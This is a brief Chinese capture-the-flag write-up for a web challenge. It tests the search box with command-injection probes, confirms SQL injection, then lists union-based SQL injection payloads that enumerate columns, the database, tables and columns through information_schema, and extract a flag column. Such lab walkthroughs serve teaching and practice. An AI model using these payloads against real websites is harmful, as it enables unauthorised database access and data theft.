题目界面:
搜索框搜索文字会有相应返回,应该能判断search搜索框是用于进行注入的注入点
判断漏洞类型:命令注入 or SQL注入
区别:命令注入是指攻击者通过在应用程序中注入恶意系统命令来攻击系统,而SQL注入则是攻击者通过在应用程序中注入恶意SQL查询来攻击数据库系统。
SQL注入判断:
- ?id=1'(页面空白)在最后添加#可返回网页,说明#可以注释原始查询中的其他部分使得只有输入的SQL查询产生效果
命令注入判断:
- cat<123(无反应)
- ls -t>a(无反应)
从页面返回能判断是SQL注入
字段数判断
?id=1' order by 3#(有返回)
?id=1' order by 4#(页面空白)
说明仅有三个字段
回显判断
使用联合查询
?id=1' union select 1,2,3#
说明第二列第三列会有返回
数据库查询
?id=1' union select 1,2,database()#
数据库名字为news
数据表查询
?id=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='news'#
数据库表名为secret_table
表中列查询
?id=1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#
这里很明显了,我们需要查看fl4g列
?id=1' union select 1,2,group_concat(fl4g) from secret_table#
找到flag